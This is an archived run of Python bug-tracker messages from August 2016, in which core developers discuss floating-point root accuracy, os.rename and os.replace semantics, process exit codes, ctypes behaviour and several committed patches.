<1472407690.88.0.101608161536.issue27761@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Tim Peters: "Victor, happy to add comments, but only if there's sufficient interest in actually using this." It looks like tests fail on some platforms. I guess that it depends on the different factors: quality of the C math library, quality of the IEEE 754 hardware implementation, etc. I like the idea of providing an accurate and *portable* function (_nth_root) thanks to the usage of the decimal module to get a better precision. If someone considers that the performance of statistics.geometric_mean() matters, I suggest to document it. It's new feature of Python 3.6, it's not like a regression, so it's ok. What do you think? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 18:02:35 2016 From: report at bugs.python.org (Tim Peters) Date: Sun, 28 Aug 2016 22:02:35 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472421755.82.0.248640101852.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: As I said, the last code I posted is "fast enough" - I can't imagine a real application can't live with being able to do "only" tens of thousands of roots per second. A geometric mean is typically an output summary statistic, not a transformation applied billions of times to input data. To get a 100% guarantee of 100% portability (although still confined to IEEE 754 format boxes), we can't use the libm pow() at all. Then you can kiss speed goodbye. Mark's `nroot` is portable in that way, but can take tens of thousands of times longer to compute a root. Here's another way, but routinely 100 times slower (than the last code I posted): import decimal c = decimal.DefaultContext.copy() c.prec = 25 def slow(x, n, D=decimal.Decimal, pow=c.power, div=c.divide, d1=decimal.Decimal(1)): return float(pow(D(x), div(d1, n))) del decimal, c Too slow for my tastes, but at least it's obvious ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 18:56:53 2016 From: report at bugs.python.org (Eryk Sun) Date: Sun, 28 Aug 2016 22:56:53 +0000 Subject: [issue27886] Docs: the difference between rename and replace is not obvious In-Reply-To: <1472411232.42.0.47360960084.issue27886@psf.upfronthosting.co.za> Message-ID: <1472425013.11.0.713050633245.issue27886@psf.upfronthosting.co.za> Eryk Sun added the comment: Having rename() in pathlib is fine as long as it links to the os docs. This probably needs a new issue, but I do see room for improvement in the latter. For Unix, the os.rename and os.replace docs should clarify that an empty destination directory can be replaced by another directory. For example: >>> os.mkdir('foo1') >>> os.mkdir('foo2') >>> os.rename('foo1', 'foo2') The specification of rename [1] states that "[i]f the *old* argument points to the pathname of a directory, the *new* argument shall not point to the pathname of a file that is not a directory". It further specifies that "[i]f *new* names an existing directory, it shall be required to be an empty directory". Windows, on the other hand, doesn't allow replacing a directory, even an empty one. The wording for os.rename and os.replace could be changed to something like: "[i]f dst is a directory, OSError will be raised, except not on Unix if src is a directory and dst is empty". Windows MoveFileEx calls NtSetInformationFile to set the FileRenameInformation [2]. The MSDN docs do not explicitly require that the operation is atomic, unlike POSIX rename. I think it's a reasonable expectation that a Windows filesystem should rename atomically, and that's probably the case. However, it should be clear that only Unix guarantees this, e.g. "[i]f successful, on Unix the renaming will be an atomic operation, as required by POSIX". MSDN claims that a rename will fail in the following cases: A file or directory can only be renamed within a volume. Even if ReplaceIfExists is set to TRUE, the rename operation will still fail if a file with the same name already exists and is a directory, a read-only file, or a currently executing file. A file cannot be renamed if it has any open handles, unless it is only open because of a batch opportunistic lock (oplock) and the batch oplock can be broken immediately. A file cannot be renamed if a file with the same name exists and has open handles (except in the batch-oplock case described earlier). A directory cannot be renamed if it or any of its subdirectories contains a file that has open handles (except in the batch-oplock case described earlier). For the third case, actually an open file can be renamed if delete/rename access is shared. For example: >>> with open('foo1', 'w') as f: f.write('foo1') ... 4 Open the file with shared delete access: >>> SHARE_ALL = 7 >>> _winapi.CreateFile('foo1', 0x80000000, SHARE_ALL, 0, 3, 0, 0) 224 and rename/replace succeeds: >>> os.replace('foo1', 'foo2') >>> open('foo2').read() 'foo1' Anyway, the os.replace docs could state in general that: "[o]n Windows, a PermissionError will be raised if dst is a read-only file, or if either src or dst is currently open, or if src is a directory with an open file". [1]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html [2]: https://msdn.microsoft.com/en-us/library/ff540344 ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 19:23:04 2016 From: report at bugs.python.org (Martin Panter) Date: Sun, 28 Aug 2016 23:23:04 +0000 Subject: [issue24045] Behavior of large returncodes (sys.exit(nn)) In-Reply-To: <1429836429.07.0.888331603842.issue24045@psf.upfronthosting.co.za> Message-ID: <1472426584.92.0.439619211664.issue24045@psf.upfronthosting.co.za> Martin Panter added the comment: Is this a duplicate of Issue 24052? ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 19:41:50 2016 From: report at bugs.python.org (Emanuel Barry) Date: Sun, 28 Aug 2016 23:41:50 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472427710.55.0.381819486362.issue27877@psf.upfronthosting.co.za> Emanuel Barry added the comment: The patch doesn't apply. I manually copy-pasted the lines in the source and generated a new one. I would probably rephrase "these values hold no meaning and should not be used" into "the values are not important" or something along those lines. ---------- nosy: +ebarry Added file: https://bugs.python.org/file44250/enum_valueless_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 20:36:45 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 29 Aug 2016 00:36:45 +0000 Subject: [issue25969] Update lib2to3 grammar to include missing unpacking generalizations. In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za> Message-ID: <1472431005.78.0.419277679823.issue25969@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith priority: normal -> high versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 21:54:15 2016 From: report at bugs.python.org (Martin Panter) Date: Mon, 29 Aug 2016 01:54:15 +0000 Subject: [issue24052] sys.exit(code) returns "success" to the OS for some nonzero values of code In-Reply-To: <1429889353.58.0.941477823236.issue24052@psf.upfronthosting.co.za> Message-ID: <1472435655.6.0.636794666798.issue24052@psf.upfronthosting.co.za> Martin Panter added the comment: Here is a relevant Posix bug thread: http://austingroupbugs.net/view.php?id=947 As well as Windows, apparently Solaris, OS X, and a recent version of Free BSD have more than eight bits of exit status. I don?t know if Python?s sys.exit() supports this though. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 28 22:04:56 2016 From: report at bugs.python.org (Tim Peters) Date: Mon, 29 Aug 2016 02:04:56 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1472436296.5.0.537489233699.issue27761@psf.upfronthosting.co.za> Tim Peters added the comment: Let's spell one of these out, to better understand why sticking to native precision is inadequate. Here's one way to write the Newton step in "guess + relatively_small_correction" form: def plain(x, n): g = x**(1.0/n) return g - (g - x/g**(n-1))/n Alas, it's pretty much useless. That's because when g is a really good guess, `g` and `x/g**(n-1)` are, in native precision, almost the same. So the subtraction cancels out almost all the bits, leaving only a bit or two of actual information. For this kind of approach to be helpful in native precision, it generally requires a clever way of rewriting the correction computation that _doesn't_ suffer massive cancellation. Example: >>> x = 5.283415219603294e-14 and we want the square root. Mark's `nroot` always gives the best possible result: >>> nroot(x, 2) 2.298568080262861e-07 In this case, so does sqrt(), and also x**0.5 (on my box - pow() may not on yours): >>> sqrt(x) 2.298568080262861e-07 >>> x**0.5 2.298568080262861e-07 You're going to think it needs "improvement", because the square of that is not x: >>> sqrt(x)**2 < x True Let's see what happens in the `plain()` function above: >>> g = x**0.5 >>> temp = x/g**(2-1) >>> g.hex() '0x1.ed9d1dd7ce57fp-23' >>> temp.hex() '0x1.ed9d1dd7ce580p-23' They differ by just 1 in the very last bit. There's nothing wrong with "the math", but _in native precision_ the subtraction leaves only 1 bit of information. Then: >>> correction = (g - temp)/2 >>> correction -1.3234889800848443e-23 is indeed small compared to g, but it only has one "real" bit: >>> correction.hex() '-0x1.0000000000000p-76' Finally, >>> g - correction 2.2985680802628612e-07 is _worse_ than the guess we started with. Not because of "the math", but because sticking to native precision leaves us with an extremely crude approximation to the truth. This can be repaired in a straightforward way by computing the crucial subtraction with greater than native precision. For example, import decimal c = decimal.DefaultContext.copy() c.prec = 25 def blarg(x, n, D=decimal.Decimal, pow=c.power, sub=c.subtract, div=c.divide): g = x**(1.0/n) Dg = D(g) return g - float(sub(Dg, div(D(x), pow(Dg, n-1)))) / n del decimal, c Then the difference is computed as Decimal('-2.324439989147273024835272E-23') and the correction (convert that to float and divide by 2) as: -1.1622199945736365e-23 The magnitude of that is smaller than of the -1.3234889800848443e-23 we got in native precision, and adding the new correction to g makes no difference: the correction is (correctly!) viewed as being too small (compared with g) to matter. So, bottom line: there is no known way of writing the Newton step that won't make things worse at times, so long as it sticks to native precision. Newton iterations in native precision are wonderful when, e.g., you know you have about 20 good bits and want to get about 40 good bits quickly. The last bit or two remain pure noise, unless you can write the correction computation in a way that retains "a bunch" of significant bits. By far the easiest way to do the latter is simply to use more precision. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 03:32:57 2016 From: report at bugs.python.org (jf) Date: Mon, 29 Aug 2016 07:32:57 +0000 Subject: [issue23831] tkinter canvas lacks of moveto method. In-Reply-To: <1427832932.11.0.38662420535.issue23831@psf.upfronthosting.co.za> Message-ID: <1472455977.6.0.536626804146.issue23831@psf.upfronthosting.co.za> jf added the comment: i met the same problem, when i translate knighstour.tcl(upder tk demos dir) to tkinter. ---------- nosy: +zaazbb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 06:07:36 2016 From: report at bugs.python.org (Eryk Sun) Date: Mon, 29 Aug 2016 10:07:36 +0000 Subject: [issue24045] Behavior of large returncodes (sys.exit(nn)) In-Reply-To: <1429836429.07.0.888331603842.issue24045@psf.upfronthosting.co.za> Message-ID: <1472465256.32.0.4663975044.issue24045@psf.upfronthosting.co.za> Eryk Sun added the comment: Unix waitpid() packs the process exit status and terminating signal number into a single status value. As specified by POSIX [1], the WEXITSTATUS function returns only the lower 8 bits of the process exit status. In theory, waitid() and wait6() can return the full 32-bit status value in the siginfo_t si_status. Apparently NetBSD does this [2], but evidently Linux does not: >>> p = subprocess.Popen(['python3', '-c','import os; os._exit(257)']) >>> os.waitid(os.P_PID, p.pid, os.WEXITED).si_status 1 For Windows, programs sometimes return 16-bit WinAPI error codes or 32-bit HRESULT error codes. A critical error or unhandled exception may even result in returning a 32-bit NTSTATUS code (e.g. if you cancel the Windows error reporting dialog). Currently the Python 3 implementation of sys.exit and os._exit converts to a signed long, but the Windows exit code is an unsigned long. To use integer return codes in the range 0x80000000-0xFFFFFFFF requires manually converting to the corresponding negative signed value. Technically the two error types that require 32-bit values are signed (i.e. HRESULT and NTSTATUS), so this shouldn't be a problem. However, in practice sometimes a function -- and definitely subprocess.Popen -- returns an HRESULT error code as an unsigned value. It would be convenient, at least on Windows, if handle_system_exit in Python/pythonrun.c converted the value using PyLong_AsUnsignedLongMask instead of PyLong_AsLong. Similarly os._exit could use Argument Clinic's "unsigned int" format, which also calls PyLong_AsUnsignedLongMask. The problem with using PyLong_AsLong on Windows (32-bit or 64-bit) is that it overflows with an error value of -1 for values greater than 0x7FFFFFFF. In this case, os._exit raises OverflowError. handle_system_exit, on the other hand, ignores the exception. It just uses the -1 error value as the exit code, i.e. 0xFFFFFFFF. [1]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/wait.html [2]: https://www.daemon-systems.org/man/wait.2.html ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 06:54:40 2016 From: report at bugs.python.org (Aleksandar Petrovic) Date: Mon, 29 Aug 2016 10:54:40 +0000 Subject: [issue27887] Installation failed Message-ID: <1472468080.66.0.531510448894.issue27887@psf.upfronthosting.co.za> New submission from Aleksandar Petrovic: Hi, got the following error message when I was trying to install Python. Im using "Installation failed. The installer could not install the software. The installer could not install the software because there was no software to install." ---------- components: Macintosh messages: 273852 nosy: Aleksandar Petrovic, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: Installation failed versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:14:14 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 11:14:14 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472469254.77.0.136307128704.issue26040@psf.upfronthosting.co.za> Mark Dickinson added the comment: iss26040.patch didn't apply cleanly to master (because of the recent math.tau addition). Here's an updated patch. ---------- Added file: https://bugs.python.org/file44251/iss26040_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:19:52 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 29 Aug 2016 11:19:52 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472469592.48.0.408116438611.issue27861@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:25:56 2016 From: report at bugs.python.org (John Hagen) Date: Mon, 29 Aug 2016 11:25:56 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472469956.55.0.654135015427.issue27877@psf.upfronthosting.co.za> Changes by John Hagen : Removed file: https://bugs.python.org/file44249/issue27877.johnthagen.01.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:28:10 2016 From: report at bugs.python.org (John Hagen) Date: Mon, 29 Aug 2016 11:28:10 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472470090.08.0.197549251127.issue27877@psf.upfronthosting.co.za> John Hagen added the comment: Emanuel, I like your rewording. Uploaded a new patch incorporating it. ---------- Added file: https://bugs.python.org/file44252/issue27877.johnthagen.02.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:44:07 2016 From: report at bugs.python.org (Aleksandar Petrovic) Date: Mon, 29 Aug 2016 11:44:07 +0000 Subject: [issue27887] Installation failed In-Reply-To: <1472468080.66.0.531510448894.issue27887@psf.upfronthosting.co.za> Message-ID: <1472471047.71.0.641319613991.issue27887@psf.upfronthosting.co.za> Changes by Aleksandar Petrovic : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 07:54:43 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 29 Aug 2016 11:54:43 +0000 Subject: [issue27887] Installation failed In-Reply-To: <1472468080.66.0.531510448894.issue27887@psf.upfronthosting.co.za> Message-ID: <1472471683.26.0.00585650584645.issue27887@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- resolution: -> not a bug stage: -> resolved type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:12:31 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 12:12:31 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <20160829121225.63830.12712.DFFB7FF7@psf.io> Roundup Robot added the comment: New changeset c046cbb24f98 by Serhiy Storchaka in branch '3.5': Issue #27861: Fixed a crash in sqlite3.Connection.cursor() when a factory https://hg.python.org/cpython/rev/c046cbb24f98 New changeset 97dbba8a6d4a by Serhiy Storchaka in branch '2.7': Issue #27861: Fixed a crash in sqlite3.Connection.cursor() when a factory https://hg.python.org/cpython/rev/97dbba8a6d4a New changeset afcec2d11e9e by Serhiy Storchaka in branch 'default': Issue #27861: Fixed a crash in sqlite3.Connection.cursor() when a factory https://hg.python.org/cpython/rev/afcec2d11e9e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:23:29 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 12:23:29 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472473409.04.0.194301968035.issue26040@psf.upfronthosting.co.za> Mark Dickinson added the comment: I've reviewed the test_math portion of the patch (which looks good, thank you!), and made a few revisions in iss26040_v3.patch. 1. I've rewritten the ulp() function to use struct. Same behaviour as before, but this way feels safer, since it doesn't rely on the exact form of the float.hex format. 2. I've reworked the ulp-based comparison to use the old to_ulps function, instead of basing it on ulp(). That's mostly just a personal preference: I prefer the symmetry of the abs(to_ulps(got) - to_ulps(expected)) form, and I think it behaves slightly better at or near powers of two. (If expected == 1.0 and got == 1.0 - 2**-51, I want that to be seen as 4 ulps error rather than 2.) 3. I increased the default ulp tolerance to 5 ulps, and increased the ulps tolerance for some of the special cases. There are some badly behaved libm implementations out there, and I don't want to break more buildbots than necessary. ---------- Added file: https://bugs.python.org/file44253/iss26040_v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:42:51 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 12:42:51 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472474571.84.0.209456532747.issue26040@psf.upfronthosting.co.za> Mark Dickinson added the comment: One more version; increased the default ulp_tol to 5 everywhere, and made some minor style fixes in nearby code. ---------- Added file: https://bugs.python.org/file44254/iss26040_v4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:54:32 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 29 Aug 2016 12:54:32 +0000 Subject: [issue27818] Speed up number format spec parsing In-Reply-To: <1471722206.62.0.0499297323883.issue27818@psf.upfronthosting.co.za> Message-ID: <1472475272.07.0.7512150757.issue27818@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I haven't found my old patch and tried to reimplement it. Added new file in stringlib. The original patch speeds up microbenchmarks only on about 4% on my computer (32-bit Linux). This is small, but the patch is simple. Moving some functions to template file adds yet about 2%. This is too small for adding new file. Thus I'll commit the original patch, with small style changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:57:14 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 12:57:14 +0000 Subject: [issue23229] add inf, nan, infj, nanj to cmath module In-Reply-To: <1421141827.81.0.668754742456.issue23229@psf.upfronthosting.co.za> Message-ID: <20160829125711.82608.78778.BFD22CE0@psf.io> Roundup Robot added the comment: New changeset 4b25da63d1d0 by Mark Dickinson in branch 'default': Issue 23229: add cmath.inf, cmath.nan, cmath.infj and cmath.nanj. https://hg.python.org/cpython/rev/4b25da63d1d0 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:59:03 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 12:59:03 +0000 Subject: [issue23229] add inf, nan, infj, nanj to cmath module In-Reply-To: <1421141827.81.0.668754742456.issue23229@psf.upfronthosting.co.za> Message-ID: <1472475543.55.0.636248985062.issue23229@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- resolution: -> fixed stage: commit review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 08:59:24 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 12:59:24 +0000 Subject: [issue23229] add inf, nan, infj, nanj to cmath module In-Reply-To: <1421141827.81.0.668754742456.issue23229@psf.upfronthosting.co.za> Message-ID: <1472475564.73.0.69543654014.issue23229@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 09:00:02 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 13:00:02 +0000 Subject: [issue27818] Speed up number format spec parsing In-Reply-To: <1471722206.62.0.0499297323883.issue27818@psf.upfronthosting.co.za> Message-ID: <20160829125959.20270.14097.CED3B2BA@psf.io> Roundup Robot added the comment: New changeset 9bddf9e72c96 by Serhiy Storchaka in branch 'default': Issue #27818: Speed up parsing width and precision in format() strings for https://hg.python.org/cpython/rev/9bddf9e72c96 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 10:02:53 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 14:02:53 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472479373.19.0.0991531750808.issue27870@psf.upfronthosting.co.za> Mark Dickinson added the comment: Also applies to 3.x. Working on a fix. ---------- assignee: -> mark.dickinson versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 10:15:12 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 14:15:12 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472480112.56.0.471742982846.issue27870@psf.upfronthosting.co.za> Mark Dickinson added the comment: Here's a patch against 3.6. I think this probably shouldn't be changed for 3.5, but it may be worth backporting the fix to 2.7. ---------- keywords: +patch Added file: https://bugs.python.org/file44255/lshift_zero.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 10:22:17 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 29 Aug 2016 14:22:17 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472480537.95.0.233742507633.issue27870@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 10:40:25 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 14:40:25 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472481625.48.0.561266996096.issue27870@psf.upfronthosting.co.za> Mark Dickinson added the comment: Updated patch, breaking out the implementation-specific tests into their own method. (Thanks, Serhiy!) ---------- Added file: https://bugs.python.org/file44256/lshift_zero_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:10:08 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 15:10:08 +0000 Subject: [issue27444] Python doesn't build due to test_float.py broken on non-IEEE machines In-Reply-To: <1467493851.35.0.417072100147.issue27444@psf.upfronthosting.co.za> Message-ID: <1472483408.4.0.264712402803.issue27444@psf.upfronthosting.co.za> Mark Dickinson added the comment: In the absence of a concrete use-case, I'm closing as "wont fix". Without suitable infrastructure (non-IEEE 754 buildbots, for example) and a clear need for this, the effort involved in maintaining CPython on non-IEEE 754 systems far outweighs the benefits. ---------- assignee: -> mark.dickinson resolution: -> wont fix status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:10:19 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 15:10:19 +0000 Subject: [issue27444] Python doesn't build due to test_float.py broken on non-IEEE machines In-Reply-To: <1467493851.35.0.417072100147.issue27444@psf.upfronthosting.co.za> Message-ID: <1472483419.03.0.207229597717.issue27444@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:27:30 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 29 Aug 2016 15:27:30 +0000 Subject: [issue27877] Add recipe for "valueless" Enums to docs In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za> Message-ID: <1472484450.33.0.659861426253.issue27877@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: docs at python -> ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:40:45 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 15:40:45 +0000 Subject: [issue27214] a potential future bug and an optimization that mostly undermines performance in long_invert In-Reply-To: <1465027536.85.0.992865355802.issue27214@psf.upfronthosting.co.za> Message-ID: <20160829154039.24010.18655.8E14BBE0@psf.io> Roundup Robot added the comment: New changeset 6e1d38674b17 by Mark Dickinson in branch 'default': Issue #27214: Fix potential bug and remove useless optimization in long_invert. Thanks Oren Milman. https://hg.python.org/cpython/rev/6e1d38674b17 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:41:22 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 15:41:22 +0000 Subject: [issue27214] a potential future bug and an optimization that mostly undermines performance in long_invert In-Reply-To: <1465027536.85.0.992865355802.issue27214@psf.upfronthosting.co.za> Message-ID: <1472485282.88.0.242849813746.issue27214@psf.upfronthosting.co.za> Mark Dickinson added the comment: Agreed with the analysis and proposed solution. Thanks! ---------- assignee: -> mark.dickinson resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:50:03 2016 From: report at bugs.python.org (Oren Milman) Date: Mon, 29 Aug 2016 15:50:03 +0000 Subject: [issue27214] a potential future bug and an optimization that mostly undermines performance in long_invert In-Reply-To: <1465027536.85.0.992865355802.issue27214@psf.upfronthosting.co.za> Message-ID: <1472485803.03.0.499630276544.issue27214@psf.upfronthosting.co.za> Oren Milman added the comment: Thanks for the review, Mark :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 11:55:22 2016 From: report at bugs.python.org (Erwan Le Pape) Date: Mon, 29 Aug 2016 15:55:22 +0000 Subject: [issue27803] ctypes automatic byref failing on custom classes attributes In-Reply-To: <1471630297.02.0.563258836934.issue27803@psf.upfronthosting.co.za> Message-ID: <1472486122.38.0.0209891139917.issue27803@psf.upfronthosting.co.za> Erwan Le Pape added the comment: I can confirm Eryk got what I meant. I didn't know if it was meant to work that way or if it was simply something that was overlooked so I thought I'd ask, I will look into the ctypes code to provide a patch sometime this week if I can. Terry, for a working example take the following (on a MS Windows): >>> from ctypes import * >>> from ctypes.wintypes import * >>> >>> class CustomPHKEY(object): ... def __init__(self, value): ... self._as_parameter_ = HKEY(value) ... >>> >>> function = ctypes.windll.advapi32.RegOpenKeyExW >>> function.argtypes = [HKEY, c_wchar_p, DWORD, DWORD, POINTER(HKEY)] >>> function.restype = LONG >>> result = CustomPHKEY(0) >>> function(0x80000002, 'SOFTWARE', 0, 0x20019, result) Traceback (most recent call last): File "", line 1, in ctypes.ArgumentError: argument 5: : expected LP_c_void_p instance instead of c_void_p ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 12:26:58 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 16:26:58 +0000 Subject: [issue25402] More accurate estimation of the number of digits in int to decimal string conversion In-Reply-To: <1444822963.9.0.112952407665.issue25402@psf.upfronthosting.co.za> Message-ID: <20160829162654.39362.44407.B1F57A97@psf.io> Roundup Robot added the comment: New changeset 1902e1d79e25 by Mark Dickinson in branch 'default': Issue #25402: in int-to-decimal-string conversion, reduce intermediate storage requirements and relax restriction on converting large integers. Patch by Serhiy Storchaka. https://hg.python.org/cpython/rev/1902e1d79e25 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 12:30:48 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 16:30:48 +0000 Subject: [issue25402] More accurate estimation of the number of digits in int to decimal string conversion In-Reply-To: <1444822963.9.0.112952407665.issue25402@psf.upfronthosting.co.za> Message-ID: <1472488248.83.0.719354743511.issue25402@psf.upfronthosting.co.za> Mark Dickinson added the comment: Patch and analysis LGTM. Thanks! ---------- assignee: -> mark.dickinson resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 12:34:17 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 16:34:17 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472488457.19.0.912842802734.issue11734@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- assignee: mark.dickinson -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 12:42:08 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 16:42:08 +0000 Subject: [issue27882] Python docs on 9.2 Math module lists math.log2 as function but it does not exist In-Reply-To: <1472358295.58.0.523948529034.issue27882@psf.upfronthosting.co.za> Message-ID: <1472488928.71.0.27467571657.issue27882@psf.upfronthosting.co.za> Mark Dickinson added the comment: Closing. The docs are correct for the corresponding version of Python: math.log2 is new in Python 3.3, and the entry for math.log2 is there in Python 3.3 but not Python 3.2 or Python 2.7. @PyRW: It looks as though this is simply a version mismatch (looking at 